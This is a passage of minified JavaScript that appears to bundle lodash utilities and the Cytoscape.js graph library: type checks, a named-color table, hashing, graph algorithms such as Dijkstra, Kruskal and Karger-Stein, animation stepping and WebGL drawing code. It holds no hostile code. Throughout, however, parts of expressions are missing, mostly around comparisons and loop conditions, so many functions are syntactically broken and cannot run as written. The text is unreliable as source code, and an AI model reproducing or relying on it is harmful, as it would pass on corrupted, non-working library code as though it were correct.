t(e){return e!=null&&typeof e=="object"}return o(t,"isObjectLike"),kN=t,kN}function vx(){if(qoe)return EN;qoe=1;var t=gue(),e=K$e(),r="[object Symbol]";function n(i){return typeof i=="symbol"||e(i)&&t(i)==r}return o(n,"isSymbol"),EN=n,EN}function Q$e(){if(Woe)return SN;Woe=1;var t=Y$e(),e=yx(),r=vx(),n=NaN,i=/^[-+]0x[0-9a-f]+$/i,a=/^0b[01]+$/i,s=/^0o[0-7]+$/i,l=parseInt;function u(h){if(typeof h=="number")return h;if(r(h))return n;if(e(h)){var f=typeof h.valueOf=="function"?h.valueOf():h;h=e(f)?f+"":f}if(typeof h!="string")return h===0?h:+h;h=t(h);var d=a.test(h);return d||s.test(h)?l(h.slice(2),d?2:8):i.test(h)?n:+h}return o(u,"toNumber"),SN=u,SN}function Z$e(){if(Yoe)return CN;Yoe=1;var t=yx(),e=q$e(),r=Q$e(),n="Expected a function",i=Math.max,a=Math.min;function s(l,u,h){var f,d,p,m,g,y,v=0,x=!1,b=!1,T=!0;if(typeof l!="function")throw new TypeError(n);u=r(u)||0,t(h)&&(x=!!h.leading,b="maxWait"in h,p=b?i(r(h.maxWait)||0,u):p,T="trailing"in h?!!h.trailing:T);function S(D){var _=f,O=d;return f=d=void 0,v=D,m=l.apply(O,_),m}o(S,"invokeFunc");function w(D){return v=D,g=setTimeout(C,u),x?S(D):m}o(w,"leadingEdge");function k(D){var _=D-y,O=D-v,M=u-_;return b?a(M,p-O):M}o(k,"remainingWait");function A(D){var _=D-y,O=D-v;return y===void 0||_>=u||_<0||b&&O>=p}o(A,"shouldInvoke");function C(){var D=e();if(A(D))return R(D);g=setTimeout(C,k(D))}o(C,"timerExpired");function R(D){return g=void 0,T&&f?S(D):(f=d=void 0,m)}o(R,"trailingEdge");function I(){g!==void 0&&clearTimeout(g),v=0,f=y=d=g=void 0}o(I,"cancel");function L(){return g===void 0?m:R(e())}o(L,"flush");function E(){var D=e(),_=A(D);if(f=arguments,d=this,y=D,_){if(g===void 0)return w(y);if(b)return clearTimeout(g),g=setTimeout(C,u),S(y)}return g===void 0&&(g=setTimeout(C,u)),m}return o(E,"debounced"),E.cancel=I,E.flush=L,E}return o(s,"debounce"),CN=s,CN}function nze(t,e,r,n,i){var a=i*Math.PI/180,s=Math.cos(a)*(t-r)-Math.sin(a)*(e-n)+r,l=Math.sin(a)*(t-r)+Math.cos(a)*(e-n)+n;return{x:s,y:l}}function aze(t,e,r){if(r===0)return t;var n=(e.x1+e.x2)/2,i=(e.y1+e.y2)/2,a=e.w/e.h,s=1/a,l=nze(t.x,t.y,n,i,r),u=ize(l.x,l.y,n,i,a,s);return{x:u.x,y:u.y}}function gze(){return Zoe||(Zoe=1,(function(t,e){(function(){var r,n,i,a,s,l,u,h,f,d,p,m,g,y,v;i=Math.floor,d=Math.min,n=o(function(x,b){return xb?1:0},"defaultCmp"),f=o(function(x,b,T,S,w){var k;if(T==null&&(T=0),w==null&&(w=n),T<0)throw new Error("lo must be non-negative");for(S==null&&(S=x.length);TI;0<=I?R++:R--)C.push(R);return C}).apply(this).reverse(),A=[],S=0,w=k.length;SL;0<=L?++C:--C)E.push(s(x,T));return E},"nsmallest"),y=o(function(x,b,T,S){var w,k,A;for(S==null&&(S=n),w=x[T];T>b;){if(A=T-1>>1,k=x[A],S(w,k)<0){x[T]=k,T=A;continue}break}return x[T]=w},"_siftdown"),v=o(function(x,b,T){var S,w,k,A,C;for(T==null&&(T=n),w=x.length,C=b,k=x[b],S=2*b+1;S-1}return o(e,"listCacheHas"),tM=e,tM}function cVe(){if($le)return rM;$le=1;var t=mE();function e(r,n){var i=this.__data__,a=t(i,r);return a<0?(++this.size,i.push([r,n])):i[a][1]=n,this}return o(e,"listCacheSet"),rM=e,rM}function uVe(){if(zle)return nM;zle=1;var t=aVe(),e=sVe(),r=oVe(),n=lVe(),i=cVe();function a(s){var l=-1,u=s==null?0:s.length;for(this.clear();++l-1&&n%1==0&&n0;){var f=i.shift();e(f),a.add(f.id()),l&&n(i,a,f)}return t}function Yue(t,e,r){if(r.isParent())for(var n=r._private.children,i=0;i0&&arguments[0]!==void 0?arguments[0]:bUe,e=arguments.length>1?arguments[1]:void 0,r=0;r0?E=_:L=_;while(Math.abs(D)>s&&++O=a?b(I,O):M===0?O:S(I,L,L+h)}o(w,"getTForX");var k=!1;function A(){k=!0,(t!==e||r!==n)&&T()}o(A,"precompute");var C=o(function(L){return k||A(),t===e&&r===n?L:L===0?0:L===1?1:v(w(L),e,n)},"f");C.getControlPoints=function(){return[{x:t,y:e},{x:r,y:n}]};var R="generateBezier("+[t,e,r,n]+")";return C.toString=function(){return R},C}function Dce(t,e,r,n,i){if(n===1||e===r)return r;var a=i(e,r,n);return t==null||((t.roundValue||t.color)&&(a=Math.round(a)),t.min!==void 0&&(a=Math.max(a,t.min)),t.max!==void 0&&(a=Math.min(a,t.max))),a}function Lce(t,e){return t.pfValue!=null||t.value!=null?t.pfValue!=null&&(e==null||e.type.units!=="%")?t.pfValue:t.value:t}function jm(t,e,r,n,i){var a=i!=null?i.type:null;r<0?r=0:r>1&&(r=1);var s=Lce(t,i),l=Lce(e,i);if(At(s)&&At(l))return Dce(a,s,l,r,n);if(An(s)&&An(l)){for(var u=[],h=0;h0?(m==="spring"&&g.push(s.duration),s.easingImpl=Vk[m].apply(null,g)):s.easingImpl=Vk[m]}var y=s.easingImpl,v;if(s.duration===0?v=1:v=(r-u)/s.duration,s.applying&&(v=s.progress),v<0?v=0:v>1&&(v=1),s.delay==null){var x=s.startPosition,b=s.position;if(b&&i&&!t.locked()){var T={};X2(x.x,b.x)&&(T.x=jm(x.x,b.x,v,y)),X2(x.y,b.y)&&(T.y=jm(x.y,b.y,v,y)),t.position(T)}var S=s.startPan,w=s.pan,k=a.pan,A=w!=null&&n;A&&(X2(S.x,w.x)&&(k.x=jm(S.x,w.x,v,y)),X2(S.y,w.y)&&(k.y=jm(S.y,w.y,v,y)),t.emit("pan"));var C=s.startZoom,R=s.zoom,I=R!=null&&n;I&&(X2(C,R)&&(a.zoom=ox(a.minZoom,jm(C,R,v,y),a.maxZoom)),t.emit("zoom")),(A||I)&&t.emit("viewport");var L=s.style;if(L&&L.length>0&&i){for(var E=0;E=0;A--){var C=k[A];C()}k.splice(0,k.length)},"callbacks"),b=m.length-1;b>=0;b--){var T=m[b],S=T._private;if(S.stopped){m.splice(b,1),S.hooked=!1,S.playing=!1,S.started=!1,x(S.frames);continue}!S.playing&&!S.applying||(S.playing&&S.applying&&(S.applying=!1),S.started||IUe(f,T,t),MUe(f,T,t,d),S.applying&&(S.applying=!1),x(S.frames),S.step!=null&&S.step(t),T.completed()&&(m.splice(b,1),S.hooked=!1,S.playing=!1,S.started=!1,x(S.completes)),y=!0)}return!d&&m.length===0&&g.length===0&&n.push(f),y}o(i,"stepOne");for(var a=!1,s=0;s0?e.notify("draw",r):e.notify("draw")),r.unmerge(n),e.emit("step")}function hhe(t){this.options=ir({},VUe,UUe,t)}function fhe(t){this.options=ir({},HUe,t)}function dhe(t){this.options=ir({},qUe,t)}function kE(t){this.options=ir({},WUe,t),this.options.layout=this;var e=this.options.eles.nodes(),r=this.options.eles.edges(),n=r.filter(function(i){var a=i.source().data("id"),s=i.target().data("id"),l=e.some(function(h){return h.data("id")===a}),u=e.some(function(h){return h.data("id")===s});return!l||!u});this.options.eles=this.options.eles.not(n)}function yhe(t){this.options=ir({},oHe,t)}function _I(t){this.options=ir({},lHe,t)}function vhe(t){this.options=ir({},cHe,t)}function xhe(t){this.options=ir({},uHe,t)}function bhe(t){this.options=t,this.notifications=0}function khe(t,e){e.radius===0?t.lineTo(e.cx,e.cy):t.arc(e.cx,e.cy,e.radius,e.startAngle,e.endAngle,e.counterClockwise)}function LI(t,e,r,n){var i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0;return n===0||e.radius===0?{cx:e.x,cy:e.y,radius:0,startX:e.x,startY:e.y,stopX:e.x,stopY:e.y,startAngle:void 0,endAngle:void 0,counterClockwise:void 0}:(dHe(t,e,r,n,i),{cx:eI,cy:tI,radius:gp,startX:The,startY:whe,stopX:rI,stopY:nI,startAngle:Ic.ang+Math.PI/2*vp,endAngle:Yo.ang-Math.PI/2*vp,counterClockwise:qk})}function Ehe(t){var e=[];if(t!=null){for(var r=0;r5&&arguments[5]!==void 0?arguments[5]:5,s=Math.min(a,n/2,i/2);t.beginPath(),t.moveTo(e+s,r),t.lineTo(e+n-s,r),t.quadraticCurveTo(e+n,r,e+n,r+s),t.lineTo(e+n,r+i-s),t.quadraticCurveTo(e+n,r+i,e+n-s,r+i),t.lineTo(e+s,r+i),t.quadraticCurveTo(e,r+i,e,r+i-s),t.lineTo(e,r+s),t.quadraticCurveTo(e,r,e+s,r),t.closePath()}function Qce(t,e,r){var n=t.createShader(e);if(t.shaderSource(n,r),t.compileShader(n),!t.getShaderParameter(n,t.COMPILE_STATUS))throw new Error(t.getShaderInfoLog(n));return n}function rqe(t,e,r){var n=Qce(t,t.VERTEX_SHADER,e),i=Qce(t,t.FRAGMENT_SHADER,r),a=t.createProgram();if(t.attachShader(a,n),t.attachShader(a,i),t.linkProgram(a),!t.getProgramParameter(a,t.LINK_STATUS))throw new Error("Could not initialize shaders");return a}function nqe(t,e,r){r===void 0&&(r=e);var n=t.makeOffscreenCanvas(e,r),i=n.context=n.getContext("2d");return n.clear=function(){return i.clearRect(0,0,n.width,n.height)},n.clear(),n}function MI(t){var e=t.pixelRatio,r=t.cy.zoom(),n=t.cy.pan();return{zoom:r*e,pan:{x:n.x*e,y:n.y*e}}}function iqe(t){var e=t.pixelRatio,r=t.cy.zoom();return r*e}function aqe(t,e,r,n,i){var a=n*r+e.x,s=i*r+e.y;return s=Math.round(t.canvasHeight-s),[a,s]}function sqe(t){return t.pstyle("background-fill").value!=="solid"||t.pstyle("background-image").strValue!=="none"?!1:t.pstyle("border-width").value===0||t.pstyle("border-opacity").value===0?!0:t.pstyle("border-style").value==="solid"}function oqe(t,e){if(t.length!==e.length)return!1;for(var r=0;r>0&255)/255,r[1]=(t>>8&255)/255,r[2]=(t>>16&255)/255,r[3]=(t>>24&255)/255,r}function lqe(t){return t[0]+(t[1]<<8)+(t[2]<<16)+(t[3]<<24)}function cqe(t,e){var r=t.createTexture();return r.buffer=function(n){t.bindTexture(t.TEXTURE_2D,r),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_S,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_T,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_MAG_FILTER,t.LINEAR),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_MIN_FILTER,t.LINEAR_MIPMAP_NEAREST),t.pixelStorei(t.UNPACK_PREMULTIPLY_ALPHA_WEBGL,!0),t.texImage2D(t.TEXTURE_2D,0,t.RGBA,t.RGBA,t.UNSIGNED_BYTE,n),t.generateMipmap(t.TEXTURE_2D),t.bindTexture(t.TEXTURE_2D,null)},r.deleteTexture=function(){t.deleteTexture(r)},r}function Bhe(t,e){switch(e){case"float":return[1,t.FLOAT,4];case"vec2":return[2,t.FLOAT,4];case"vec3":return[3,t.FLOAT,4];case"vec4":return[4,t.FLOAT,4];case"int":return[1,t.INT,4];case"ivec2":return[2,t.INT,4]}}function Fhe(t,e,r){switch(e){case t.FLOAT:return new Float32Array(r);case t.INT:return new Int32Array(r)}}function uqe(t,e,r,n,i,a){switch(e){case t.FLOAT:return new Float32Array(r.buffer,a*n,i);case t.INT:return new Int32Array(r.buffer,a*n,i)}}function hqe(t,e,r,n){var i=Bhe(t,e),a=_i(i,2),s=a[0],l=a[1],u=Fhe(t,l,n),h=t.createBuffer();return t.bindBuffer(t.ARRAY_BUFFER,h),t.bufferData(t.ARRAY_BUFFER,u,t.STATIC_DRAW),l===t.FLOAT?t.vertexAttribPointer(r,s,l,!1,0,0):l===t.INT&&t.vertexAttribIPointer(r,s,l,0,0),t.enableVertexAttribArray(r),t.bindBuffer(t.ARRAY_BUFFER,null),h}function Mc(t,e,r,n){var i=Bhe(t,r),a=_i(i,3),s=a[0],l=a[1],u=a[2],h=Fhe(t,l,e*s),f=s*u,d=t.createBuffer();t.bindBuffer(t.ARRAY_BUFFER,d),t.bufferData(t.ARRAY_BUFFER,e*f,t.DYNAMIC_DRAW),t.enableVertexAttribArray(n),l===t.FLOAT?t.vertexAttribPointer(n,s,l,!1,f,0):l===t.INT&&t.vertexAttribIPointer(n,s,l,f,0),t.vertexAttribDivisor(n,1),t.bindBuffer(t.ARRAY_BUFFER,null);for(var p=new Array(e),m=0;mNhe?(_qe(t),e.call(t,a)):(Dqe(t),Vhe(t,a,nx.SCREEN)))}}{var r=t.matchCanvasSize;t.matchCanvasSize=function(a){r.call(t,a),t.pickingFrameBuffer.setFramebufferAttachmentSizes(t.canvasWidth,t.canvasHeight),t.pickingFrameBuffer.needsDraw=!0}}t.findNearestElements=function(a,s,l,u){return Oqe(t,a,s)};{var n=t.invalidateCachedZSortedEles;t.invalidateCachedZSortedEles=function(){n.call(t),t.pickingFrameBuffer.needsDraw=!0}}{var i=t.notify;t.notify=function(a,s){i.call(t,a,s),a==="viewport"||a==="bounds"?t.pickingFrameBuffer.needsDraw=!0:a==="background"&&t.drawing.invalidate(s,{type:"node-body"})}}}function _qe(t){var e=t.data.contexts[t.WEBGL];e.clear(e.COLOR_BUFFER_BIT|e.DEPTH_BUFFER_BIT)}function Dqe(t){var e=o(function(n){n.save(),n.setTransform(1,0,0,1,0,0),n.clearRect(0,0,t.canvasWidth,t.canvasHeight),n.restore()},"clear");e(t.data.contexts[t.NODE]),e(t.data.contexts[t.DRAG])}function Lqe(t){var e=t.canvasWidth,r=t.canvasHeight,n=MI(t),i=n.pan,a=n.zoom,s=BM();Yk(s,s,[i.x,i.y]),aI(s,s,[a,a]);var l=BM();mqe(l,e,r);var u=BM();return pqe(u,l,s),u}function Ghe(t,e){var r=t.canvasWidth,n=t.canvasHeight,i=MI(t),a=i.pan,s=i.zoom;e.setTransform(1,0,0,1,0,0),e.clearRect(0,0,r,n),e.translate(a.x,a.y),e.scale(s,s)}function Rqe(t,e){t.drawSelectionRectangle(e,function(r){return Ghe(t,r)})}function Nqe(t){var e=t.data.contexts[t.NODE];e.save(),Ghe(t,e),e.strokeStyle="rgba(0, 0, 0, 0.3)",e.beginPath(),e.moveTo(-1e3,0),e.lineTo(1e3,0),e.stroke(),e.beginPath(),e.moveTo(0,-1e3),e.lineTo(0,1e3),e.stroke(),e.restore()}function Mqe(t){var e=o(function(i,a,s){for(var l=i.atlasManager.getAtlasCollection(a),u=t.data.contexts[t.NODE],h=l.atlases,f=0;f=0&&S.add(A)}return S}function Oqe(t,e,r){var n=Iqe(t,e,r),i=t.getCachedZSortedEles(),a,s,l=qs(n),u;try{for(l.s();!(u=l.n()).done;){var h=u.value,f=i[h];if(!a&&f.isNode()&&(a=f),!s&&f.isEdge()&&(s=f),a&&s)break}}catch(d){l.e(d)}finally{l.f()}return[a,s].filter(Boolean)}function VM(t,e,r){var n=t.drawing;e+=1,r.isNode()?(n.drawNode(r,e,"node-underlay"),n.drawNode(r,e,"node-body"),n.drawTexture(r,e,"label"),n.drawNode(r,e,"node-overlay")):(n.drawEdgeLine(r,e),n.drawEdgeArrow(r,e,"source"),n.drawEdgeArrow(r,e,"target"),n.drawTexture(r,e,"label"),n.drawTexture(r,e,"edge-source-label"),n.drawTexture(r,e,"edge-target-label"))}function Vhe(t,e,r){var n;t.webglDebug&&(n=performance.now());var i=t.drawing,a=0;if(r.screen&&t.data.canvasNeedsRedraw[t.SELECT_BOX]&&Rqe(t,e),t.data.canvasNeedsRedraw[t.NODE]||r.picking){var s=t.data.contexts[t.WEBGL];r.screen?(s.clearColor(0,0,0,0),s.enable(s.BLEND),s.blendFunc(s.ONE,s.ONE_MINUS_SRC_ALPHA)):s.disable(s.BLEND),s.clear(s.COLOR_BUFFER_BIT|s.DEPTH_BUFFER_BIT),s.viewport(0,0,s.canvas.width,s.canvas.height);var l=Lqe(t),u=t.getCachedZSortedEles();if(a=u.length,i.startFrame(l,r),r.screen){for(var h=0;h{"use strict";o(UM,"_arrayLikeToArray");o(p$e,"_arrayWithHoles");o(m$e,"_arrayWithoutHoles");o(Af,"_classCallCheck");o(g$e,"_defineProperties");o(_f,"_createClass");o(qs,"_createForOfIteratorHelper");o(sue,"_defineProperty$1");o(y$e,"_iterableToArray");o(v$e,"_iterableToArrayLimit");o(x$e,"_nonIterableRest");o(b$e,"_nonIterableSpread");o(_i,"_slicedToArray");o(Xk,"_toConsumableArray");o(T$e,"_toPrimitive");o(oue,"_toPropertyKey");o($i,"_typeof");o(cI,"_unsupportedIterableToArray");Bi=typeof window>"u"?null:window,Noe=Bi?Bi.navigator:null;Bi&&Bi.document;w$e=$i(""),lue=$i({}),k$e=$i(function(){}),E$e=typeof HTMLElement>"u"?"undefined":$i(HTMLElement),px=o(function(e){return e&&e.instanceString&&oi(e.instanceString)?e.instanceString():null},"instanceStr"),Jt=o(function(e){return e!=null&&$i(e)==w$e},"string"),oi=o(function(e){return e!=null&&$i(e)===k$e},"fn"),An=o(function(e){return!fo(e)&&(Array.isArray?Array.isArray(e):e!=null&&e instanceof Array)},"array"),Yr=o(function(e){return e!=null&&$i(e)===lue&&!An(e)&&e.constructor===Object},"plainObject"),S$e=o(function(e){return e!=null&&$i(e)===lue},"object"),At=o(function(e){return e!=null&&$i(e)===$i(1)&&!isNaN(e)},"number"),C$e=o(function(e){return At(e)&&Math.floor(e)===e},"integer"),jk=o(function(e){if(E$e!=="undefined")return e!=null&&e instanceof HTMLElement},"htmlElement"),fo=o(function(e){return mx(e)||cue(e)},"elementOrCollection"),mx=o(function(e){return px(e)==="collection"&&e._private.single},"element"),cue=o(function(e){return px(e)==="collection"&&!e._private.single},"collection"),uI=o(function(e){return px(e)==="core"},"core"),uue=o(function(e){return px(e)==="stylesheet"},"stylesheet"),A$e=o(function(e){return px(e)==="event"},"event"),Tf=o(function(e){return e==null?!0:!!(e===""||e.match(/^\s+$/))},"emptyString"),_$e=o(function(e){return typeof HTMLElement>"u"?!1:e instanceof HTMLElement},"domElement"),D$e=o(function(e){return Yr(e)&&At(e.x1)&&At(e.x2)&&At(e.y1)&&At(e.y2)},"boundingBox"),L$e=o(function(e){return S$e(e)&&oi(e.then)},"promise"),R$e=o(function(){return Noe&&Noe.userAgent.match(/msie|trident|edge/i)},"ms"),lg=o(function(e,r){r||(r=o(function(){if(arguments.length===1)return arguments[0];if(arguments.length===0)return"undefined";for(var a=[],s=0;sr?1:0},"ascending"),F$e=o(function(e,r){return-1*fue(e,r)},"descending"),ir=Object.assign!=null?Object.assign.bind(Object):function(t){for(var e=arguments,r=1;r1&&(v-=1),v<1/6?g+(y-g)*6*v:v<1/2?y:v<2/3?g+(y-g)*(2/3-v)*6:g}o(f,"hue2rgb");var d=new RegExp("^"+I$e+"$").exec(e);if(d){if(n=parseInt(d[1]),n<0?n=(360- -1*n%360)%360:n>360&&(n=n%360),n/=360,i=parseFloat(d[2]),i<0||i>100||(i=i/100,a=parseFloat(d[3]),a<0||a>100)||(a=a/100,s=d[4],s!==void 0&&(s=parseFloat(s),s<0||s>1)))return;if(i===0)l=u=h=Math.round(a*255);else{var p=a<.5?a*(1+i):a+i-a*i,m=2*a-p;l=Math.round(255*f(m,p,n+1/3)),u=Math.round(255*f(m,p,n)),h=Math.round(255*f(m,p,n-1/3))}r=[l,u,h,s]}return r},"hsl2tuple"),G$e=o(function(e){var r,n=new RegExp("^"+N$e+"$").exec(e);if(n){r=[];for(var i=[],a=1;a<=3;a++){var s=n[a];if(s[s.length-1]==="%"&&(i[a]=!0),s=parseFloat(s),i[a]&&(s=s/100*255),s<0||s>255)return;r.push(Math.floor(s))}var l=i[1]||i[2]||i[3],u=i[1]&&i[2]&&i[3];if(l&&!u)return;var h=n[4];if(h!==void 0){if(h=parseFloat(h),h<0||h>1)return;r.push(h)}}return r},"rgb2tuple"),V$e=o(function(e){return U$e[e.toLowerCase()]},"colorname2tuple"),due=o(function(e){return(An(e)?e:null)||V$e(e)||$$e(e)||G$e(e)||z$e(e)},"color2tuple"),U$e={transparent:[0,0,0,0],aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],grey:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},pue=o(function(e){for(var r=e.map,n=e.keys,i=n.length,a=0;a1&&arguments[1]!==void 0?arguments[1]:yp,n=r,i;i=e.next(),!i.done;)n=n*vue+i.value|0;return n},"hashIterableInts"),ix=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:yp;return r*vue+e|0},"hashInt"),ax=o(function(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:eg;return(r<<5)+r+e|0},"hashIntAlt"),tze=o(function(e,r){return e*2097152+r},"combineHashes"),df=o(function(e){return e[0]*2097152+e[1]},"combineHashesArray"),Sk=o(function(e,r){return[ix(e[0],r[0]),ax(e[1],r[1])]},"hashArrays"),Xoe=o(function(e,r){var n={value:0,done:!1},i=0,a=e.length,s={next:o(function(){return i=0;i--)e[i]===r&&e.splice(i,1)},"removeFromArray"),mI=o(function(e){e.splice(0,e.length)},"clearArray"),hze=o(function(e,r){for(var n=0;n"u"?"undefined":$i(Set))!==dze?Set:pze,uE=o(function(e,r){var n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0;if(e===void 0||r===void 0||!uI(e)){Kn("An element must have a core reference and parameters set");return}var i=r.group;if(i==null&&(r.data&&r.data.source!=null&&r.data.target!=null?i="edges":i="nodes"),i!=="nodes"&&i!=="edges"){Kn("An element must be of type `nodes` or `edges`; you specified `"+i+"`");return}this.length=1,this[0]=this;var a=this._private={cy:e,single:!0,data:r.data||{},position:r.position||{x:0,y:0},autoWidth:void 0,autoHeight:void 0,autoPadding:void 0,compoundBoundsClean:!1,listeners:[],group:i,style:{},rstyle:{},styleCxts:[],styleKeys:{},removed:!0,selected:!!r.selected,selectable:r.selectable===void 0?!0:!!r.selectable,locked:!!r.locked,grabbed:!1,grabbable:r.grabbable===void 0?!0:!!r.grabbable,pannable:r.pannable===void 0?i==="edges":!!r.pannable,active:!1,classes:new hg,animation:{current:[],queue:[]},rscratch:{},scratch:r.scratch||{},edges:[],children:[],parent:r.parent&&r.parent.isNode()?r.parent:null,traversalCache:{},backgrounding:!1,bbCache:null,bbCacheShift:{x:0,y:0},bodyBounds:null,overlayBounds:null,labelBounds:{all:null,source:null,target:null,main:null},arrowBounds:{source:null,target:null,"mid-source":null,"mid-target":null}};if(a.position.x==null&&(a.position.x=0),a.position.y==null&&(a.position.y=0),r.renderedPosition){var s=r.renderedPosition,l=e.pan(),u=e.zoom();a.position={x:(s.x-l.x)/u,y:(s.y-l.y)/u}}var h=[];An(r.classes)?h=r.classes:Jt(r.classes)&&(h=r.classes.split(/\s+/));for(var f=0,d=h.length;f0;){var k=b.pop(),A=v(k),C=k.id();if(p[C]=A,A!==1/0)for(var R=k.neighborhood().intersect(g),I=0;I0)for(B.unshift(P);d[G];){var $=d[G];B.unshift($.edge),B.unshift($.node),F=$.node,G=F.id()}return l.spawn(B)},"pathTo")}},"dijkstra")},Tze={kruskal:o(function(e){e=e||function(T){return 1};for(var r=this.byGroup(),n=r.nodes,i=r.edges,a=n.length,s=new Array(a),l=n,u=o(function(S){for(var w=0;w0;){if(w(),A++,S===f){for(var C=[],R=a,I=f,L=x[I];C.unshift(R),L!=null&&C.unshift(L),R=v[I],R!=null;)I=R.id(),L=x[I];return{found:!0,distance:d[S],path:this.spawn(C),steps:A}}m[S]=!0;for(var E=T._private.edges,D=0;DL&&(g[I]=L,b[I]=R,T[I]=w),!a){var E=R*f+C;!a&&g[E]>L&&(g[E]=L,b[E]=C,T[E]=w)}}}for(var D=0;D1&&arguments[1]!==void 0?arguments[1]:s,pe=T(q),Be=[],Ye=pe;;){if(Ye==null)return r.spawn();var He=b(Ye),Le=He.edge,Ie=He.pred;if(Be.unshift(Ye[0]),Ye.same(Ve)&&Be.length>0)break;Le!=null&&Be.unshift(Le),Ye=Ie}return u.spawn(Be)},"pathTo"),k=0;k=0;f--){var d=h[f],p=d[1],m=d[2];(r[p]===l&&r[m]===u||r[p]===u&&r[m]===l)&&h.splice(f,1)}for(var g=0;gi;){var a=Math.floor(Math.random()*r.length);r=Dze(a,e,r),n--}return r},"contractUntil"),Lze={kargerStein:o(function(){var e=this,r=this.byGroup(),n=r.nodes,i=r.edges;i.unmergeBy(function(B){return B.isLoop()});var a=n.length,s=i.length,l=Math.ceil(Math.pow(Math.log(a)/Math.LN2,2)),u=Math.floor(a/_ze);if(a<2){Kn("At least 2 nodes are required for Karger-Stein algorithm");return}for(var h=[],f=0;f1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=1/0,a=r;a1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=-1/0,a=r;a1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=0,a=0,s=r;s1&&arguments[1]!==void 0?arguments[1]:0,n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:e.length,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!0,a=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0,s=arguments.length>5&&arguments[5]!==void 0?arguments[5]:!0;i?e=e.slice(r,n):(n0&&e.splice(0,r));for(var l=0,u=e.length-1;u>=0;u--){var h=e[u];s?isFinite(h)||(e[u]=-1/0,l++):e.splice(u,1)}a&&e.sort(function(p,m){return p-m});var f=e.length,d=Math.floor(f/2);return f%2!==0?e[d+1+l]:(e[d-1+l]+e[d+l])/2},"median"),Pze=o(function(e){return Math.PI*e/180},"deg2rad"),Ck=o(function(e,r){return Math.atan2(r,e)-Math.PI/2},"getAngleFromDisp"),gI=Math.log2||function(t){return Math.log(t)/Math.log(2)},yI=o(function(e){return e>0?1:e<0?-1:0},"signum"),Tp=o(function(e,r){return Math.sqrt(mp(e,r))},"dist"),mp=o(function(e,r){var 